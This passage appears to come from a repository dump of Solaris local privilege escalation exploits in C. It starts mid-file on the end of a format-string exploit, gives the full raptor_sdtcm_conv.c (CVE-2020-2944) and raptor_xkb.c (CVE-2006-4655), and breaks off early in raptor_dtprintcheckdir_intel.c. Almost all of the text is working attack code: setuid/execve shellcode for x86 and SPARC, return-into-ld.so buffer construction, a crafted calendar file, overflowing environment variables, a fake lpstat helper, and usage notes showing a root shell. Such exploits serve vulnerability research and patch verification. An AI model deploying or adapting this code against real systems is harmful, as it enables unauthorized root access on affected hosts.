(n2 < 10) ? (0x100) : (0); 206 | n3 += (n3 < 10) ? (0x100) : (0); 207 | n4 += (n4 < 10) ? (0x100) : (0); 208 | n5 += (n5 < 10) ? (0x100) : (0); 209 | n6 += (n6 < 10) ? (0x100) : (0); 210 | n7 += (n7 < 10) ? (0x100) : (0); 211 | n8 += (n8 < 10) ? (0x100) : (0); 212 | 213 | /* format string: write string */ 214 | sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8); 215 | 216 | /* fill the envp, keeping padding */ 217 | add_env(buf); 218 | add_env(display); 219 | add_env("TMP_DIR=/tmp"); 220 | add_env("PATH=.:/usr/bin"); 221 | add_env("HOME=/tmp"); 222 | add_env(NULL); 223 | 224 | /* we need at least one directory inside TMP_DIR to trigger the bug */ 225 | mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); 226 | 227 | /* create a symlink for the fake lpstat */ 228 | unlink("lpstat"); 229 | symlink(argv[0], "lpstat"); 230 | 231 | /* print some output */ 232 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 233 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 234 | fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release); 235 | fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got); 236 | fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got); 237 | fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt); 238 | fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret); 239 | 240 | /* run the vulnerable program */ 241 | execve(VULN, arg, env); 242 | perror("execve"); 243 | exit(1); 244 | } 245 | 246 | /* 247 | * add_env(): add a variable to envp and pad if needed 248 | */ 249 | int add_env(char *string) 250 | { 251 | int i; 252 | 253 | /* null termination */ 254 | if (!string) { 255 | env[env_pos] = NULL; 256 | return env_len; 257 | } 258 | 259 | /* add the variable to envp */ 260 | env[env_pos] = string; 261 | env_len += strlen(string) + 1; 262 | env_pos++; 263 | 264 | /* pad the envp using zeroes */ 265 | if ((strlen(string) + 1) % 4) 266 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 267 | env[env_pos] = string + strlen(string); 268 | env_len++; 269 | } 270 | 271 | return env_len; 272 | } 273 | -------------------------------------------------------------------------------- /solaris/raptor_sdtcm_conv.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel 3 | * Copyright (c) 2019-2020 Marco Ivaldi 4 | * 5 | * A buffer overflow in the _SanityCheck() function in the Common Desktop 6 | * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and 7 | * earlier allows local users to gain root privileges via a long calendar name 8 | * or calendar owner passed to sdtcm_convert in a malicious calendar file 9 | * (CVE-2020-2944). 10 | * 11 | * The open source version of CDE (based on the CDE 2.x codebase) is not 12 | * affected, because it does not ship the vulnerable binary. 13 | * 14 | * "CDE, the gift that keeps on giving" -- @0xdea 15 | * "Feels more like a curse you can't break from this side." -- @alanc 16 | * 17 | * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack 18 | * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory 19 | * space, try returning to sprintf() instead of strcpy(). 20 | * 21 | * I haven't written a Solaris/SPARC version because I don't have a SPARC box 22 | * on which Solaris 10 can run. If anybody is kind enough to give me access to 23 | * such a box, I'd be happy to port my exploit to Solaris/SPARC as well. 24 | * 25 | * Usage: 26 | * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall 27 | * $ ./raptor_sdtcm_conv 28 | * [...] 29 | * Do you want to correct it? (Y/N) [Y] n 30 | * # id 31 | * uid=0(root) gid=1(other) egid=12(daemon) 32 | * # 33 | * 34 | * This should work with any common configuration on the first try. To 35 | * re-enable rpc.cmsd, clear its service maintenance status by running the 36 | * following commands as root: 37 | * # /usr/sbin/svcadm clear cde-calendar-manager 38 | * # /usr/bin/svcs -a | grep calendar 39 | * online 13:16:54 svc:/network/rpc/cde-calendar-manager:default 40 | * 41 | * Tested on: 42 | * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) 43 | * [previous Solaris versions are also likely vulnerable] 44 | */ 45 | 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | 57 | #define INFO1 "raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel" 58 | #define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi " 59 | 60 | #define VULN "/usr/dt/bin/sdtcm_convert" // the vulnerable program 61 | #define ADMIN "/usr/dt/bin/sdtcm_admin" // calendar admin utility 62 | #define BUFSIZE 2304 // size of the name/owner 63 | #define PAYSIZE 1024 // size of the payload 64 | #define OFFSET env_len / 2 // offset to the shellcode 65 | 66 | char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ 67 | /* double setuid() */ 68 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 69 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 70 | /* execve() */ 71 | "\x31\xc0\x50\x68/ksh\x68/bin" 72 | "\x89\xe3\x50\x53\x89\xe2\x50" 73 | "\x52\x53\xb0\x3b\x50\xcd\x91"; 74 | 75 | /* globals */ 76 | char *env[256]; 77 | int env_pos = 0, env_len = 0; 78 | 79 | /* prototypes */ 80 | int add_env(char *string); 81 | void check_zero(int addr, char *pattern); 82 | int search_ldso(char *sym); 83 | int search_rwx_mem(void); 84 | void set_val(char *buf, int pos, int val); 85 | 86 | /* 87 | * main() 88 | */ 89 | int main(int argc, char **argv) 90 | { 91 | char buf[BUFSIZE], payload[PAYSIZE]; 92 | char platform[256], release[256], hostname[256]; 93 | int i, payaddr; 94 | 95 | char *arg[3] = {"foo", "hax0r", NULL}; 96 | int sb = ((int)argv[0] | 0xfff); /* stack base */ 97 | int ret = search_ldso("strcpy"); /* or sprintf */ 98 | int rwx_mem = search_rwx_mem(); /* rwx memory */ 99 | 100 | char cmd[1024]; 101 | FILE *fp; 102 | 103 | /* print exploit information */ 104 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 105 | 106 | /* read command line */ 107 | if (argc != 1) { 108 | fprintf(stderr, "Usage:\n%s\n[...]\n", argv[0]); 109 | fprintf(stderr, "Do you want to correct it? (Y/N) [Y] n\n\n"); 110 | exit(1); 111 | } 112 | 113 | /* get system information */ 114 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 115 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 116 | sysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1); 117 | 118 | /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */ 119 | memset(payload, '\x90', PAYSIZE); 120 | payload[PAYSIZE - 1] = 0x0; 121 | memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc)); 122 | 123 | /* fill the envp, keeping padding */ 124 | add_env(payload); 125 | add_env("HOME=/tmp"); 126 | add_env(NULL); 127 | 128 | /* calculate the payload address */ 129 | payaddr = sb - OFFSET; 130 | 131 | /* prepare the evil buffer */ 132 | memset(buf, 'A', sizeof(buf)); 133 | buf[sizeof(buf) - 1] = 0x0; 134 | 135 | /* fill with function address in ld.so.1, saved eip, and arguments */ 136 | for (i = 0; i < BUFSIZE - 16; i += 4) { 137 | set_val(buf, i, ret); /* strcpy */ 138 | set_val(buf, i += 4, rwx_mem); /* saved eip */ 139 | set_val(buf, i += 4, rwx_mem); /* 1st argument */ 140 | set_val(buf, i += 4, payaddr); /* 2nd argument */ 141 | } 142 | 143 | /* print some output */ 144 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 145 | fprintf(stderr, "Using SI_HOSTNAME\t: %s\n", hostname); 146 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 147 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 148 | fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr); 149 | fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 150 | 151 | /* create the evil calendar file */ 152 | fprintf(stderr, "Preparing the evil calendar file... "); 153 | snprintf(cmd, sizeof(cmd), "%s -a -c hax0r@%s", ADMIN, hostname); 154 | if (system(cmd) == -1) { 155 | perror("Error creating calendar file"); 156 | exit(1); 157 | } 158 | if (chmod("/usr/spool/calendar/callog.hax0r", 0660) == -1) { 159 | perror("Error creating calendar file"); 160 | exit(1); 161 | } 162 | 163 | /* prepare the evil calendar file (badchars currently not handled) */ 164 | fp = fopen("/usr/spool/calendar/callog.hax0r", "w"); 165 | if (!fp) { 166 | perror("Error preparing calendar file"); 167 | exit(1); 168 | } 169 | fprintf(fp, "Version: 4\n(calendarattributes " 170 | "(\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\"," 171 | "\"10:access_list\",\"world:2\")\n"); 172 | /* buffer overflow in calendar name */ 173 | fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\"," 174 | "\"5:string\",\"%s\")\n", buf); 175 | fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\"," 176 | "\"6:user\",\"fnord\")\n)"); 177 | /* buffer overflow in calendar owner */ 178 | /* 179 | fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\"," 180 | "\"5:string\",\"hax0r\")\n"); 181 | fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\"," 182 | "\"6:user\",\"%s\")\n)", buf); 183 | */ 184 | fclose(fp); 185 | 186 | fprintf(stderr, "Done.\n"); 187 | 188 | /* run the vulnerable program */ 189 | fprintf(stderr, "Exploiting... Please answer \"n\" when prompted.\n"); 190 | execve(VULN, arg, env); 191 | perror("execve"); 192 | exit(0); 193 | } 194 | 195 | /* 196 | * add_env(): add a variable to envp and pad if needed 197 | */ 198 | int add_env(char *string) 199 | { 200 | int i; 201 | 202 | /* null termination */ 203 | if (!string) { 204 | env[env_pos] = NULL; 205 | return env_len; 206 | } 207 | 208 | /* add the variable to envp */ 209 | env[env_pos] = string; 210 | env_len += strlen(string) + 1; 211 | env_pos++; 212 | 213 | /* pad the envp using zeroes */ 214 | if ((strlen(string) + 1) % 4) 215 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 216 | env[env_pos] = string + strlen(string); 217 | env_len++; 218 | } 219 | 220 | return env_len; 221 | } 222 | 223 | /* 224 | * check_zero(): check an address for the presence of a 0x00 225 | */ 226 | void check_zero(int addr, char *pattern) 227 | { 228 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 229 | !(addr & 0xff000000)) { 230 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 231 | exit(1); 232 | } 233 | } 234 | 235 | /* 236 | * search_ldso(): search for a symbol inside ld.so.1 237 | */ 238 | int search_ldso(char *sym) 239 | { 240 | int addr; 241 | void *handle; 242 | Link_map *lm; 243 | 244 | /* open the executable object file */ 245 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 246 | perror("dlopen"); 247 | exit(1); 248 | } 249 | 250 | /* get dynamic load information */ 251 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 252 | perror("dlinfo"); 253 | exit(1); 254 | } 255 | 256 | /* search for the address of the symbol */ 257 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 258 | fprintf(stderr, "Sorry, function %s() not found\n", sym); 259 | exit(1); 260 | } 261 | 262 | /* close the executable object file */ 263 | dlclose(handle); 264 | 265 | check_zero(addr - 4, sym); 266 | return addr; 267 | } 268 | 269 | /* 270 | * search_rwx_mem(): search for an RWX memory segment valid for all 271 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 272 | */ 273 | int search_rwx_mem(void) 274 | { 275 | int fd; 276 | char tmp[16]; 277 | prmap_t map; 278 | int addr = 0, addr_old; 279 | 280 | /* open the proc filesystem */ 281 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 282 | if ((fd = open(tmp, O_RDONLY)) < 0) { 283 | fprintf(stderr, "Can't open %s\n", tmp); 284 | exit(1); 285 | } 286 | 287 | /* search for the last RWX memory segment before stack (last - 1) */ 288 | while (read(fd, &map, sizeof(map))) 289 | if (map.pr_vaddr) 290 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 291 | addr_old = addr; 292 | addr = map.pr_vaddr; 293 | } 294 | close(fd); 295 | 296 | /* add 4 to the exact address NULL bytes */ 297 | if (!(addr_old & 0xff)) 298 | addr_old |= 0x04; 299 | if (!(addr_old & 0xff00)) 300 | addr_old |= 0x0400; 301 | 302 | return addr_old; 303 | } 304 | 305 | /* 306 | * set_val(): copy a dword inside a buffer (little endian) 307 | */ 308 | void set_val(char *buf, int pos, int val) 309 | { 310 | buf[pos] = (val & 0x000000ff); 311 | buf[pos + 1] = (val & 0x0000ff00) >> 8; 312 | buf[pos + 2] = (val & 0x00ff0000) >> 16; 313 | buf[pos + 3] = (val & 0xff000000) >> 24; 314 | } 315 | -------------------------------------------------------------------------------- /solaris/raptor_xkb.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_xkb.c,v 1.4 2006/10/13 19:03:49 raptor Exp $ 3 | * 4 | * raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10 5 | * Copyright (c) 2006 Marco Ivaldi 6 | * 7 | * Buffer overflow in the Strcmp function in the XKEYBOARD extension in X 8 | * Window System X11R6.4 and earlier, as used in SCO UnixWare 7.1.3 and Sun 9 | * Solaris 8 through 10, allows local users to gain privileges via a long 10 | * _XKB_CHARSET environment variable value (CVE-2006-4655). 11 | * 12 | * "You certainly do some ninja shit man." -- Kevin Finisterre (0dd) 13 | * 14 | * Exploitation on Solaris 8/9 platforms was trivial, while recent Solaris 10 15 | * required additional efforts: for some obscure reason traditional return into 16 | * the stack doesn't work (SIGSEGV due to FLTBOUNDS?!), sprintf() must be used 17 | * instead of strcpy() (the latter has become a leaf function and at least on 18 | * my test box its address contains a 0x00), and the ld.so.1 memory space 19 | * layout has changed a bit. On all platforms, in order for this exploit to 20 | * work, the X Window System server DISPLAY specified as argument must have the 21 | * XKEYBOARD extension enabled. 22 | * 23 | * Greets to Adriano Lima and Filipe Balestra 24 | * , who discovered this vulnerability, and 25 | * to Ramon de Carvalho Valle , who exploited it. 26 | * 27 | * Usage: 28 | * $ gcc raptor_xkb.c -o raptor_xkb -ldl -Wall 29 | * [on your xserver: disable the access control] 30 | * $ ./raptor_xkb 192.168.1.1:0 31 | * [...] 32 | * # id 33 | * uid=0(root) gid=10(staff) egid=3(sys) 34 | * # 35 | * 36 | * Vulnerable platforms: 37 | * Solaris 8 without patch 119067-03 [tested] 38 | * Solaris 9 without patch 112785-56 [tested] 39 | * Solaris 10 without patch 119059-16 [tested] 40 | */ 41 | 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | 52 | #define INFO1 "raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10" 53 | #define INFO2 "Copyright (c) 2006 Marco Ivaldi " 54 | 55 | #define VULN "/usr/dt/bin/dtaction" // default setuid target 56 | //#define VULN "/usr/dt/bin/dtprintinfo" 57 | //#define VULN "/usr/dt/bin/dtsession" 58 | 59 | #define BUFSIZE 1024 // size of the evil buffer 60 | #define VARSIZE 2048 // size of the evil env var 61 | #define FFSIZE 64 + 1 // size of the fake frame 62 | #define DUMMY 0xdeadbeef // dummy memory address 63 | 64 | /* voodoo macros */ 65 | #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 66 | #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 67 | 68 | char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ 69 | /* double setuid() is needed by dtprintinfo and dtsession */ 70 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 71 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 72 | /* execve() */ 73 | "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 74 | "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 75 | "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 76 | 77 | /* globals */ 78 | char *env[256]; 79 | int env_pos = 0, env_len = 0; 80 | 81 | /* prototypes */ 82 | int add_env(char *string); 83 | void check_zero(int addr, char *pattern); 84 | int search_ldso(char *sym); 85 | int search_rwx_mem(void); 86 | void set_val(char *buf, int pos, int val); 87 | 88 | /* 89 | * main() 90 | */ 91 | int main(int argc, char **argv) 92 | { 93 | char buf[BUFSIZE], var[VARSIZE], ff[FFSIZE]; 94 | char platform[256], release[256], display[256]; 95 | int i, offset, ff_addr, sc_addr; 96 | int plat_len, prog_len, rel; 97 | 98 | char *arg[2] = {"foo", NULL}; 99 | int arg_len = 4, arg_pos = 1; 100 | 101 | int ret, rwx_mem; 102 | 103 | /* get the stack base */ 104 | int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 105 | 106 | /* print exploit information */ 107 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 108 | 109 | /* read command line */ 110 | if (argc != 2) { 111 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 112 | exit(2); 113 | } 114 | sprintf(display, "DISPLAY=%s", argv[1]); 115 | 116 | /* get some system information */ 117 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 118 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 119 | rel = atoi(release + 2); 120 | 121 | /* get the address of strcpy() or sprintf() in ld.so.1 */ 122 | ret = (rel < 10 ? search_ldso("strcpy") : search_ldso("sprintf")); 123 | 124 | /* get the address of RWX memory segment inside ld.so.1 */ 125 | rwx_mem = search_rwx_mem(); 126 | 127 | /* prepare the evil buffer */ 128 | memset(buf, 'A', sizeof(buf)); 129 | buf[sizeof(buf) - 1] = 0x0; 130 | memcpy(buf, "_XKB_CHARSET=", 13); 131 | 132 | /* prepare the evil env var */ 133 | memset(var, 'B', sizeof(var)); 134 | var[sizeof(var) - 1] = 0x0; 135 | 136 | /* prepare the fake frame */ 137 | bzero(ff, sizeof(ff)); 138 | 139 | /* 140 | * saved %l registers 141 | */ 142 | set_val(ff, i = 0, DUMMY); /* %l0 */ 143 | set_val(ff, i += 4, DUMMY); /* %l1 */ 144 | set_val(ff, i += 4, DUMMY); /* %l2 */ 145 | set_val(ff, i += 4, DUMMY); /* %l3 */ 146 | set_val(ff, i += 4, DUMMY); /* %l4 */ 147 | set_val(ff, i += 4, DUMMY); /* %l5 */ 148 | set_val(ff, i += 4, DUMMY); /* %l6 */ 149 | set_val(ff, i += 4, DUMMY); /* %l7 */ 150 | 151 | /* 152 | * saved %i registers 153 | */ 154 | set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to function */ 155 | set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to function */ 156 | set_val(ff, i += 4, DUMMY); /* %i2 */ 157 | set_val(ff, i += 4, DUMMY); /* %i3 */ 158 | set_val(ff, i += 4, DUMMY); /* %i4 */ 159 | set_val(ff, i += 4, DUMMY); /* %i5 */ 160 | set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ 161 | set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ 162 | 163 | /* fill the envp, keeping padding */ 164 | sc_addr = add_env(ff); 165 | add_env(sc); 166 | add_env(display); 167 | add_env(buf); 168 | add_env(var); 169 | add_env(NULL); 170 | 171 | /* calculate the offset to argv[0] (voodoo magic) */ 172 | plat_len = strlen(platform) + 1; 173 | prog_len = strlen(VULN) + 1; 174 | offset = arg_len + env_len + plat_len + prog_len; 175 | if (rel > 7) 176 | VOODOO64(offset, arg_pos, env_pos) 177 | else 178 | VOODOO32(offset, plat_len, prog_len) 179 | 180 | /* calculate the needed addresses */ 181 | ff_addr = sb - offset + arg_len; 182 | sc_addr += ff_addr; 183 | 184 | /* set fake frame's %i1 */ 185 | set_val(ff, 36, sc_addr); /* 2nd arg to function */ 186 | 187 | /* fill the evil buffer */ 188 | for (i = 13 + 256; i < 13 + 256 + 56; i += 4) 189 | set_val(buf, i, sb - 2048); 190 | /* we don't need to bruteforce */ 191 | set_val(buf, 13 + 256 + 56, ff_addr); /* fake frame address */ 192 | set_val(buf, 13 + 256 + 60, ret - 4); /* function, after the save */ 193 | 194 | /* fill the evil env var */ 195 | for (i = 0; i < VARSIZE - 8; i += 4) 196 | set_val(var, i, sb - 2048); 197 | 198 | /* print some output */ 199 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 200 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 201 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 202 | fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 203 | fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); 204 | fprintf(stderr, "Using function address\t: 0x%p\n\n", (void *)ret); 205 | 206 | /* run the vulnerable program */ 207 | execve(VULN, arg, env); 208 | perror("execve"); 209 | exit(0); 210 | } 211 | 212 | /* 213 | * add_env(): add a variable to envp and pad if needed 214 | */ 215 | int add_env(char *string) 216 | { 217 | int i; 218 | 219 | /* null termination */ 220 | if (!string) { 221 | env[env_pos] = NULL; 222 | return(env_len); 223 | } 224 | 225 | /* add the variable to envp */ 226 | env[env_pos] = string; 227 | env_len += strlen(string) + 1; 228 | env_pos++; 229 | 230 | /* pad the envp using zeroes */ 231 | if ((strlen(string) + 1) % 4) 232 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 233 | env[env_pos] = string + strlen(string); 234 | env_len++; 235 | } 236 | 237 | return(env_len); 238 | } 239 | 240 | /* 241 | * check_zero(): check an address for the presence of a 0x00 242 | */ 243 | void check_zero(int addr, char *pattern) 244 | { 245 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 246 | !(addr & 0xff000000)) { 247 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 248 | exit(1); 249 | } 250 | } 251 | 252 | /* 253 | * search_ldso(): search for a symbol inside ld.so.1 254 | */ 255 | int search_ldso(char *sym) 256 | { 257 | int addr; 258 | void *handle; 259 | 260 | /* open the executable object file */ 261 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 262 | perror("dlopen"); 263 | exit(1); 264 | } 265 | 266 | /* search for the address of the symbol */ 267 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 268 | fprintf(stderr, "sorry, function %s() not found\n", sym); 269 | exit(1); 270 | } 271 | 272 | /* close the executable object file */ 273 | dlclose(handle); 274 | 275 | check_zero(addr - 4, sym); 276 | return(addr); 277 | } 278 | 279 | /* 280 | * search_rwx_mem(): search for an RWX memory segment valid for all 281 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 282 | */ 283 | int search_rwx_mem(void) 284 | { 285 | int fd; 286 | prmap_t map; 287 | int addr = 0; 288 | 289 | /* open current process map in proc filesystem */ 290 | if ((fd = open("/proc/self/map", O_RDONLY)) < 0) { 291 | fprintf(stderr, "can't open /proc/self/map\n"); 292 | exit(1); 293 | } 294 | 295 | /* search for the last RWX memory segment before stack */ 296 | while (read(fd, &map, sizeof(map))) 297 | if (map.pr_mflags == (MA_READ | MA_WRITE | MA_EXEC)) 298 | addr = map.pr_vaddr; 299 | close(fd); 300 | 301 | /* add 4 to the exact address NULL bytes */ 302 | if (!(addr & 0xff)) 303 | addr |= 0x04; 304 | if (!(addr & 0xff00)) 305 | addr |= 0x0400; 306 | 307 | return(addr); 308 | } 309 | 310 | /* 311 | * set_val(): copy a dword inside a buffer 312 | */ 313 | void set_val(char *buf, int pos, int val) 314 | { 315 | buf[pos] = (val & 0xff000000) >> 24; 316 | buf[pos + 1] = (val & 0x00ff0000) >> 16; 317 | buf[pos + 2] = (val & 0x0000ff00) >> 8; 318 | buf[pos + 3] = (val & 0x000000ff); 319 | } 320 | -------------------------------------------------------------------------------- /solaris/raptor_dtprintcheckdir_intel.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE 3 | * Copyright (c) 2020 Marco Ivaldi 4 | * 5 | * "What we do in life echoes in eternity" -- Maximus Decimus Meridius 6 | * https://patchfriday.com/22/ 7 | * 8 | * Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 9 | * local root. This one was discovered by Marti Guasch Jimenez, who attended my 10 | * talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on 11 | * May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19). 12 | * 13 | * It's a stack-based buffer overflow in the check_dir() function: 14 | * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){ 15 | * char local_724 [300]; 16 | * ... 17 | * __format = getenv("REQ_DIR"); 18 | * sprintf(local_724,__format,param_2); 19 | * 20 | * "To trigger this vulnerability we need a printer present, we can also fake 21 | * it with the lpstat trick. We also need at least one directory in the path 22 | * pointed by the environment variable TMP_DIR. Finally, we just need to set 23 | * REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to 24 | * overwrite EIP." -- Marti Guasch Jimenez 25 | * 26 | * This bug was likely fixed during the general cleanup of CDE code done by 27 | * Oracle in response to my recently reported vulnerabilities. However, I can't 28 | * confirm this because I have no access to their patches:/ 29 | * 30 | * Usage: 31 | * $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall 32 | * [on your xserver: disable the access control] 33 | * $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0 34 | * [on your xserver: double click on the fake "fnord" printer] 35 | * [...] 36 | * # id 37 | * uid=0(root) gid=1(other) 38 | * # 39 | * 40 | * Tested on: 41 | * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) 42 | * [previous Solaris versions are also likely vulnerable] 43 | */ 44 | 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | 56 | #define INFO1 "raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE" 57 | #define INFO2 "Copyright (c) 2020 Marco Ivaldi " 58 | 59 | #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 60 | #define BUFSIZE 2048 // size of the evil env var 61 | 62 | char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ 63 | /* double setuid() */ 64 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 65 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 66 | /* execve() */ 67 | "\x31\xc0\x50\x68/ksh\x68/bin" 68 | "\x89\xe3\x50\x53\x89\xe2\x50" 69 | "\x52\x53\xb0\x3b\x50\xcd\x91"; 70 | 71 | /* globals */ 72 | char *arg[2] = {"foo", NULL}; 73 | char *env[256]; 74 | int env_pos = 0, env_len = 0; 75 | 76 | /* prototypes */ 77 | int add_env(char *string); 78 | void check_zero(int addr, char *pattern); 79 | int get_sc_addr(char *path, char **argv); 80 | int search_ldso(char *sym); 81 | int search_rwx_mem(void); 82 | void set_val(char *buf, int pos, int val); 83 | 84 | /* 85 | * main() 86 | */ 87 | int main(int argc, char **argv) 88 | { 89 | char buf[BUFSIZE]; 90 | char platform[256], release[256], display[256]; 91 | int i, sc_addr; 92 | 93 | int sb = ((int)argv[0] | 0xfff); /* stack base */ 94 | int ret = search_ldso("strcpy"); /* or sprintf */ 95 | int rwx_mem = search_rwx_mem(); /* rwx memory */ 96 | 97 | /* lpstat code to add a fake printer */ 98 | if (!strcmp(argv[0], "lpstat")) { 99 | 100 | /* check command line */ 101 | if (argc != 2) 102 | exit(1); 103 | 104 | /* print the expected output and exit */ 105 | if(!strcmp(argv[1], "-v")) { 106 | fprintf(stderr, "lpstat called with -v\n"); 107 | printf("device for fnord: /dev/null\n"); 108 | } else { 109 | fprintf(stderr, "lpstat called with -d\n"); 110 | printf("system default destination: fnord\n"); 111 | } 112 | exit(0); 113 | } 114 | 115 | /* helper program that prints argv[0] address, used by get_sc_addr() */ 116 | if (!strcmp(argv[0], "foo")) { 117 | printf("0x%p\n", argv[0]); 118 | exit(0); 119 | } 120 | 121 | /* print exploit information */ 122 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 123 | 124 | /* process command line */ 125 | if (argc != 2) { 126 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 127 | exit(1); 128 | } 129 | sprintf(display, "DISPLAY=%s", argv[1]); 130 | 131 | /* prepare the evil env var */ 132 | memset(buf, 'A', sizeof(buf)); 133 | buf[sizeof(buf) - 1] = 0x0; 134 | memcpy(buf, "REQ_DIR=", 8); 135 | 136 | /* fill the envp, keeping padding */ 137 | add_env(sc); 138 | add_env(buf); 139 | add_env(display); 140 | add_env("TMP_DIR=/tmp"); 141 | add_env("PATH=.:/usr/bin"); 142 | add_env("HOME=/tmp"); 143 | add_env(NULL); 144 | 145 | /* calculate the shellcode address */ 146 | sc_addr = get_sc_addr(VULN, argv); 147 | 148 | /* fill with ld.so.1 address, saved 